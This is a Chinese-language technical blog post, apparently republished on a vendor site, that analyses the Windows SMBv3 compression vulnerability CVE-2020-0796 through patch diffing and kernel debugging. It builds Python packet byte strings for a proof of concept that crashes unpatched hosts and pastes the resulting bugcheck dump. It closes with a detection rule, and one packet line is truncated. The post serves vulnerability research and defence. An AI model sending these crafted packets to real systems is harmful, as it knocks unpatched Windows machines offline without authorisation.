您好,登錄后才能下訂單哦!
CVE-2020-0796完整分析是怎樣的,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
2020年3月10日國外安全廠商發布安全通告添加CVE-2020-0796對應IPS規則,描述中認為此漏洞可導致無需認證的遠程任意代碼執行[1]。
大量安全媒體轉發此通告,并認為該漏洞可能會像WannaCry一樣導致蠕蟲式傳播。
3月11日補丁日,微軟安全應急響應中心發布安全公告ADV200005,在SBMv3(3.1.1)中存在遠程代碼執行漏洞,未授權用戶可通過發送特殊構造的數據包觸發該漏洞,導致任意代碼執行[2]。防護措施包括通過注冊表禁用SMBv3的compression功能,通過防火墻阻斷445端口的連接。
從微軟公布的信息看,該漏洞的影響范圍主要在1903和1903兩個版本的Windows系統。
3月12日微軟緊急發布CVE-2020-0796修復補丁[3].該事件的發展時間線大致如下:
系統版本:cn_windows_10_business_editions_version_1903_updated_nov_2019_x64_dvd_59670fa0.iso
補丁:windows10.0-kb4551762-x64_dacef156c781f2018d94d5a5286076610ba97279.msu
開啟網絡共享:
打開高級共享設置(設置->狀態->網絡和共享中心->更改高級共享設置或按下圖控制面板路徑打開),啟用網絡發現、啟用文件和打印機共享。
配置內核調試(虛擬機):
管理員權限啟動powershell或cmd,執行如下命令
bcdedit /set dbgtransport kdnet.dll bcdedit /dbgsettings NET HOSTIP:192.168.251.1 PORT:50000 bcdedit /debug on
結果如下:
配置內核調試(宿主機):
通過如下命令啟動windbg,之后重啟虛擬機便可調試內核:
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe" -k net:port=50000,key=3819081in3qtu.262czeb0c1b8s.1ko3ffst3r2on.2hqmtq03n6eo8
ps:目前windbg下載符號需掛代理。
測試一下,一切正常,下面就可以愉快的調試了。
微軟已經發布了補丁,所以可以嘗試從補丁對比的角度切入進行分析。之前分析過Shadowbroker放出的NSA方程式組織使用的EternalXXX相關漏洞利用程序,所以大概知道smb Server相關的模塊在srv*.sys,下面先找一下相關模塊,在C:\Windows\system32\drivers\下面找到srvnet.sys和srv2.sys,從命名上看srv2.sys很可能關聯smb2相關的實現,在微軟的smb2協議文檔是這樣命名的:[MS-SMB2]: Server Message Block (SMB) Protocol Versions 2 and 3,所以跟本漏洞相關聯的SMBv3(3.1.1)很可能就是在srv2.sys模塊實現的。下面補丁對比一下看看。
通過fortinet安全通告中的描述大概知道應該和compress相關,在看上面的diff結果,首先詳細分析一下Srv2DecompressData。如下圖所示,可以看到補丁前分配Buffer是直接通過(unsigned int)(Size.m128i_i32[1] + v4.m128i_i32[1])計算Buffer大小,通過SrvNetAllocateBuffer進行分配的,補丁后在SrvNetAllocateBuffer分配前對(unsigned int)(Size.m128i_i32[1] + v4.m128i_i32[1])的值進行了校驗,猜測可能上面兩個值相加之后存在整數溢出。更進一步的詳細分析可以參考360大佬的文章[4],我后面主要側重協議分析及poc還原。
首先通過一個pcap包看一下smb2的通信流程,這樣有一個直觀的感受。
然后我們再看一下MS-SMB2協議文檔[5]中對SMB2協議描述搞懂上面的每個交互流程到底什么意思。在文檔的2.2節開始有協議語法的一個概述及從SMBv2到SMBv3及3.1.1的一個演化概述。
在SMBv2協議中定義了以下內r在SMB2.1中添加了如下內容:
Protocol negotiation (SMB2 NEGOTIATE) User authentication (SMB2 SESSION_SETUP, SMB2 LOGOFF) Share access (SMB2 TREE_CONNECT, SMB2 TREE_DISCONNECT) File access (SMB2 CREATE, SMB2 CLOSE, SMB2 READ, SMB2 WRITE, SMB2 LOCK, SMB2 IOCTL, SMB2 QUERY_INFO, SMB2 SET_INFO, SMB2 FLUSH, SMB2 CANCEL) Directory access (SMB2 QUERY_DIRECTORY, SMB2 CHANGE_NOTIFY) Volume access (SMB2 QUERY_INFO, SMB2 SET_INFO) Cache coherency (SMB2 OPLOCK_BREAK) Simple messaging (SMB2 ECHO)
在SMB2.1中添加了如下內容:
Protocol Negotiation (SMB2 NEGOTIATE) Share Access (SMB2 TREE_CONNECT) File Access (SMB2 CREATE, SMB2 WRITE) Cache Coherency (SMB2 OPLOCK_BREAK) Hash Retrieval (SMB2 IOCTL)
在SMB3.x中添加了如下內容:
Protocol Negotiation and secure dialect validation (SMB2 NEGOTIATE, SMB2 IOCTL) Share Access (SMB2 TREE_CONNECT) File Access (SMB2 CREATE, SMB2 READ, SMB2 WRITE) Hash Retrieval (SMB2 IOCTL) Encryption (SMB2 TRANSFORM_HEADER)
下面重點來了,在SMB3.1.1中添加了如下內容:
Compression (SMB2 COMPRESSION_TRANSFORM_HEADER)
這也說明了為什么該漏洞只影響1903和1909版本,因為SMB3.1.1是在1903才引入的。以上對SMB2協議有了一個大概的了解,下面我們根據協議描述、已有的SMB2pcap包和已經掌握的漏洞信息構造一下poc。
首先是NEGOTIATE過程,client端發送一個NEGOTIATE請求,server端回復一個NEGOTIATE響應。參考pcap和協議文檔構造的包內容如下:
# NetBios negotiate_pkt=b'\x00' # Message Type negotiate_pkt+=b'\x00\x00\xb2' # length # SMB2 Header negotiate_pkt+=b'\xfe\x53\x4d\x42' # ProtocolId negotiate_pkt+=b'\x40\x00' # StructureSize negotiate_pkt+=b'\x01\x00' # CreditCharge negotiate_pkt+=b'\x00\x00' # ChannelSequence negotiate_pkt+=b'\x00\x00' # Reserved negotiate_pkt+=b'\x00\x00' # Command negotiate_pkt+=b'\x01\x00' # CreditRequest negotiate_pkt+=b'\x00\x00\x00\x00' # Flags negotiate_pkt+=b'\x00\x00\x00\x00' # NextCommand negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00' # MessageId negotiate_pkt+=b'\xff\xfe\x00\x00' # ProcessId negotiate_pkt+=b'\x00\x00\x00\x00' # TreeId negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00' # SessionId negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # Signature # Negotiate Protocol Request negotiate_pkt+=b'\x24\x00' # StructureSize negotiate_pkt+=b'\x05\x00' # DialectCount negotiate_pkt+=b'\x01\x00' # SecurityMode negotiate_pkt+=b'\x00\x00' # Reserved negotiate_pkt+=b'\x40\x00\x00\x00' # Capabilities negotiate_pkt+=b'\x2d\x4b\x9d\xd7' #ClientGuid negotiate_pkt+=b'\x3f\xc0\x75\x4d' negotiate_pkt+=b'\xbd\xdf\x29\x17' negotiate_pkt+=b'\xc7\x68\xf3\x73' negotiate_pkt+=b'\x70\x00\x00\x00' # NegotiateContextOffset negotiate_pkt+=b'\x02\x00' # NegotiateContextCount negotiate_pkt+=b'\x00\x00' # Reserved2 negotiate_pkt+=b'\x02\x02' # Dialect: SMB 2.0.2 negotiate_pkt+=b'\x10\x02' # Dialect: SMB 2.1 negotiate_pkt+=b'\x00\x03' # Dialect: SMB 3.0 negotiate_pkt+=b'\x02\x03' # Dialect: SMB 3.0.2 negotiate_pkt+=b'\x11\x03' # Dialect: SMB 3.1.1 negotiate_pkt+=b'\x00\x00' #Negotiate Context: SMB2_PREAUTH_INTEGRITY_CAPABILITIES negotiate_pkt+=b'\x01\x00' # Type negotiate_pkt+=b'\x26\x00' # DataLength negotiate_pkt+=b'\x00\x00\x00\x00' # Reserved negotiate_pkt+=b'\x01\x00' # HashAlgorithmCount negotiate_pkt+=b'\x20\x00' # SaltLength negotiate_pkt+=b'\x01\x00' # HashAlgorithm negotiate_pkt+=b'\x79\xdb\x3d\xcb' # Salt negotiate_pkt+=b'\xb1\xf0\xe8\xf2' negotiate_pkt+=b'\x4b\xff\xe5\x73' negotiate_pkt+=b'\x4e\xc8\x73\xc8' negotiate_pkt+=b'\x6b\xde\xa0\x88' negotiate_pkt+=b'\x7d\x13\x34\x38' negotiate_pkt+=b'\x6f\x05\xc2\xe1' negotiate_pkt+=b'\x41\x1f\xd3\xec' negotiate_pkt+=b'\x00\x00' #Negotiate Context SMB2_COMPRESSION_CAPABILITIES negotiate_pkt+=b'\x03\x00' # Type negotiate_pkt+=b'\x0a\x00' # DataLength negotiate_pkt+=b'\x00\x00\x00\x00' # Reserved negotiate_pkt+=b'\x01\x00' # CompressionAlgorithmCount negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00 negotiate_pkt+=b'\x02\x00' # CompressionAlgorithmId
下面的話就是連接建立及認證的過程,因為微軟描述此漏洞未經認證也可實現利用,因此我們推測不需要登陸流程即可構造payload。下面根據2.2.42節中的描述構造一下SMB2 COMPRESSION_TRANSFORM_HEADER.
上圖是協議文檔中定義的COMPRESSION_TRANSFORM_HEADER:
1.ProtocolId為固定值0x424d53fc
2.OriginalCompressedSegmentSize定義了壓縮數據的原始大小
3.CompressionAlgorithm定義了支持的壓縮算法,如下圖所示:
4.Flags分為兩種情況:FLAG_NONE和FLAG_CHAINED(為簡單起見后面我們選用FLAG_NONE)
5.offset/length:
當選用FLAG_NONE時該處四字節代表offset,offset為從offset所占4字節結束到后面compressed data起始的位置偏移量。
當選用FLAG_CHAINED時該處四字節代表length,length為后面compressed payload的大小(詳見2.2.42.2 中的描述)
大概了解了COMPRESSION_TRANSFORM_HEADER的結構,下面對數據包進行構造:
# NetBios smb2_cth_pkt=b'\x00' # Message Type smb2_cth_pkt+=b'\x00\x00\x20' # length # SMB2 Compression Transform Header smb2_cth_pkt+=b'\xfc\x53\x4d\x42' # ProtocolId smb2_cth_pkt+=b'\x1f\x00\x00\x00' # OriginalCompressedSegmentSize smb2_cth_pkt+=b'\x02\x00' # CompressionAlgorithm Lz77 smb2_cth_pkt+=b'\x00\x00' # flags smb2_cth_pkt+=b'\x00\x00\x00\x00' # offset # compressed smb3 data smb2_cth_pkt+=b'\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f'
因為不知道壓縮算法的具體實現,暫且定義一個b'\x11\x12\x13\x14\x15\x16\x17\x18\x19\x20'的數據,OriginalCompressedSegmentSize的值暫且定義為比壓縮數據大的值。下面發送以下數據包看是否能夠命中函數Srv2DecompressData。下斷點
bm Srv2DecompressData
執行:
構造的沒錯,在Srv2DecompressData處斷下來了。下面調試跟蹤一下該函數的處理流程。
在srv2+17ec8 mov rax, qword ptr [rsp+30h]處,查看rsp+30為:
看起來像是數據包中定義的頭部,在call cs:__imp_SrvNetAllocateBuffer處(bp srv2+17ed9)查看ecx為1f,推測SrvNetAllocateBuffer的參數為OriginalCompressedSegmentSize+offset,下面驗證一下,將offset由0x00改為0x11
看來SrvNetAllocateBuffer的參數確實為OriginalCompressedSegmentSize+offset。前面文檔中描述offset是用來確定compressed數據位置的,補丁對OriginalCompressedSegmentSize+offset做了限制,如果構造一下先往下繼續分析OriginalCompressedSegmentSize+offset使得結果比OriginalCompressedSegmentSize還小會不會發生溢出?待會兒看看。
下面分析一下SmbCompressionDecompress的參數,在srv2+17f35 call cs:__imp_SmbCompressionDecompress處斷下:
經過分析發現第一個參數為壓縮算法類型,第二個參數為壓縮數據:
對SmbCompressionDecompress做進一步分析還是需要把壓縮算法實現一下。經過上面大概的分析,感覺距離poc已經不遠了。下面我們把offset調整為0xFFFFFFFF看一下,真的觸發了崩潰。
現場信息如下:
1: kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffff96820828f58f, memory referenced. Arg2: 0000000000000000, value 0 = read operation, 1 = write operation. Arg3: fffff8027275e350, If non-zero, the instruction address which referenced the bad memory address. Arg4: 0000000000000002, (reserved) Debugging Details: ------------------ KEY_VALUES_STRING: 1 Key : Analysis.CPU.Sec Value: 6 Key : Analysis.DebugAnalysisProvider.CPP Value: Create: 8007007e on DESKTOP-N6TEJ3V Key : Analysis.DebugData Value: CreateObject Key : Analysis.DebugModel Value: CreateObject Key : Analysis.Elapsed.Sec Value: 6 Key : Analysis.Memory.CommitPeak.Mb Value: 107 Key : Analysis.System Value: CreateObject ADDITIONAL_XML: 1 BUGCHECK_CODE: 50 BUGCHECK_P1: ffff96820828f58f BUGCHECK_P2: 0 BUGCHECK_P3: fffff8027275e350 BUGCHECK_P4: 2 READ_ADDRESS: ffff96820828f58f Nonpaged pool MM_INTERNAL_CODE: 2 PROCESS_NAME: System TRAP_FRAME: fffffc08cef3dc00 -- (.trap 0xfffffc08cef3dc00) NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=fffff8027275e300 rbx=0000000000000000 rcx=ffff9682047ba04f rdx=ffff9682047ba04f rsi=0000000000000000 rdi=0000000000000000 rip=fffff8027275e350 rsp=fffffc08cef3dd98 rbp=ffff9682047ba04f r8=ffff96820828f58f r9=0000000000000011 r10=ffff9682047b9f0e r11=ffff96820828f5a0 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc nt!RtlDecompressBufferXpressLz+0x50: fffff802`7275e350 418b08 mov ecx,dword ptr [r8] ds:ffff9682`0828f58f=???????? Resetting default scope STACK_TEXT: fffffc08`cef3d1b8 fffff802`728a9622 : ffff9682`0828f58f 00000000`00000003 fffffc08`cef3d320 fffff802`7271dbc0 : nt!DbgBreakPointWithStatus fffffc08`cef3d1c0 fffff802`728a8d12 : fffff802`00000003 fffffc08`cef3d320 fffff802`727d5c60 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12 fffffc08`cef3d220 fffff802`727c1617 : fffff802`72a66478 fffff802`728d31b5 ffff9682`0828f58f ffff9682`0828f58f : nt!KeBugCheck2+0x952 fffffc08`cef3d920 fffff802`727e36d6 : 00000000`00000050 ffff9682`0828f58f 00000000`00000000 fffffc08`cef3dc00 : nt!KeBugCheckEx+0x107 fffffc08`cef3d960 fffff802`72672eef : ffff6ed2`42811240 00000000`00000000 00000000`00000000 ffff9682`0828f58f : nt!MiSystemFault+0x1d6966 fffffc08`cef3da60 fffff802`727cf620 : ffff9681`04050fe0 ffff9681`04041fe0 00000000`00000000 00000000`00000fe0 : nt!MmAccessFault+0x34f fffffc08`cef3dc00 fffff802`7275e350 : ffff9682`0828f58f ffff9682`047ba04f fffff802`72730326 ffff9682`047ba04f : nt!KiPageFault+0x360 fffffc08`cef3dd98 fffff802`72730326 : ffff9682`047ba04f 00000000`0000001f fffffc08`cef3ded0 ffff9681`04042000 : nt!RtlDecompressBufferXpressLz+0x50 fffffc08`cef3ddb0 fffff802`790ce58d : 00000000`00000003 00000000`00000011 00000000`ffffffff fffff802`00000000 : nt!RtlDecompressBufferEx2+0x66 fffffc08`cef3de00 fffff802`717f7f41 : ffff9681`0000ef27 ffff9681`047bb150 00000000`00000002 00000000`ffffffff : srvnet!SmbCompressionDecompress+0xdd fffffc08`cef3de70 fffff802`717f699e : 00000000`00000000 ffff9681`0828f010 00000000`00000013 ffffffff`ffffffff : srv2!Srv2DecompressData+0xe1 fffffc08`cef3ded0 fffff802`71839a9f : ffff9681`0828f020 ffff9681`0362f601 00000000`00000000 fffff802`7272ce00 : srv2!Srv2DecompressMessageAsync+0x1e fffffc08`cef3df00 fffff802`727c4dde : fffffc08`cef30050 fffffc08`ce7ada01 ffffffff`ee1e5d00 fffffc08`cef3dfd1 : srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f fffffc08`cef3df80 fffff802`727c4d9c : fffffc08`cef3dfd1 ffff9681`0362f6c0 fffffc08`cef3e000 fffff802`7266a16e : nt!KxSwitchKernelStackCallout+0x2e fffffc08`ce7ad970 fffff802`7266a16e : fffffc08`cef3dfd1 fffffc08`cef3e000 00000000`00000000 00000000`00000000 : nt!KiSwitchKernelStackContinue fffffc08`ce7ad990 fffff802`72669f6c : fffff802`71839960 ffff9681`08ef8c10 00000000`00000002 00000000`00000000 : nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e fffffc08`ce7ada30 fffff802`72669de3 : 00000000`00000080 00000000`00000088 ffff9681`0362f6c0 fffffc08`ce7adb80 : nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc fffffc08`ce7adaa0 fffff802`72669d9d : fffff802`71839960 ffff9681`08ef8c10 ffff9681`08ef8c10 00000000`00000088 : nt!KeExpandKernelStackAndCalloutInternal+0x33 fffffc08`ce7adb10 fffff802`718397f7 : ffff9681`00000000 00000000`00000000 ffffb30a`8af7a8e0 00000000`00000000 : nt!KeExpandKernelStackAndCalloutEx+0x1d fffffc08`ce7ad*** fffff802`72d19b37 : 00000000`00000000 ffff9681`0362f6c0 00000000`00000000 00000000`00000000 : srv2!RfspThreadPoolNodeWorkerRun+0x117 fffffc08`ce7adbb0 fffff802`7272a7b5 : ffff9681`0362f6c0 fffff802`72d19b00 ffffb30a`8af7a8e0 00000000`00000001 : nt!IopThreadStart+0x37 fffffc08`ce7adc10 fffff802`727c8b5a : ffffd481`bd383180 ffff9681`0362f6c0 fffff802`7272a760 00000000`00000246 : nt!PspSystemThreadStartup+0x55 fffffc08`ce7adc60 00000000`00000000 : fffffc08`ce7ae000 fffffc08`ce7a8000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x2a SYMBOL_NAME: srvnet!SmbCompressionDecompress+dd MODULE_NAME: srvnet IMAGE_NAME: srvnet.sys STACK_COMMAND: .thread ; .cxr ; kb BUCKET_ID_FUNC_OFFSET: dd FAILURE_BUCKET_ID: AV_R_INVALID_srvnet!SmbCompressionDecompress OS_VERSION: 10.0.18362.1 BUILDLAB_STR: 19h2_release OSPLATFORM_TYPE: x64 OSNAME: Windows 10 FAILURE_ID_HASH: {4320f3dd-f397-f147-9d97-e2ca1e080673} Followup: MachineOwner ---------
雖然bsod了,但是感覺不夠完美,下面構造一個更好一點的poc,把加密這部分實現一下,搜索了幾個開源項目,構造了一些壓縮數據,但是Windows并沒有解壓成功,看了一下官方文檔[6],里面有微軟實現算法的詳細介紹,懶得自己寫了,直接拿數據來用吧。
構造如下數據包,測試成功:
# NetBios smb2_cth_pkt=b'\x00' # Message Type smb2_cth_pkt+=b'\x00\x00\x2e' # length # SMB2 Compression Transform Header smb2_cth_pkt+=b'\xfc\x53\x4d\x42' # ProtocolId smb2_cth_pkt+=b'\x1a\x00\x00\x00' # OriginalCompressedSegmentSize smb2_cth_pkt+=b'\x02\x00' # CompressionAlgorithm smb2_cth_pkt+=b'\x00\x00' # flags smb2_cth_pkt+=b'\x00\x00\x00\x00' # offset # compressed smb3 data smb2_cth_pkt+=b'\x3f\x00\x00\x00\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a'
可以通過調整offset和OriginalCompressedSegmentSize的大小構造poc,觸發bsod。
掃描插件:不觸發bsod的無損掃描插件開發起來難度還是挺大的(或許某些大佬能夠搞定)。
防護規則:網絡流量中根據ProtocolId識別SMB2 Compression Transform Header,識別到之后做一下解析提取OriginalCompressedSegmentSize和offset,如果兩者相加小于OriginalCompressedSegmentSize或offset,即發生了溢出,可以認為包含攻擊特征。
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。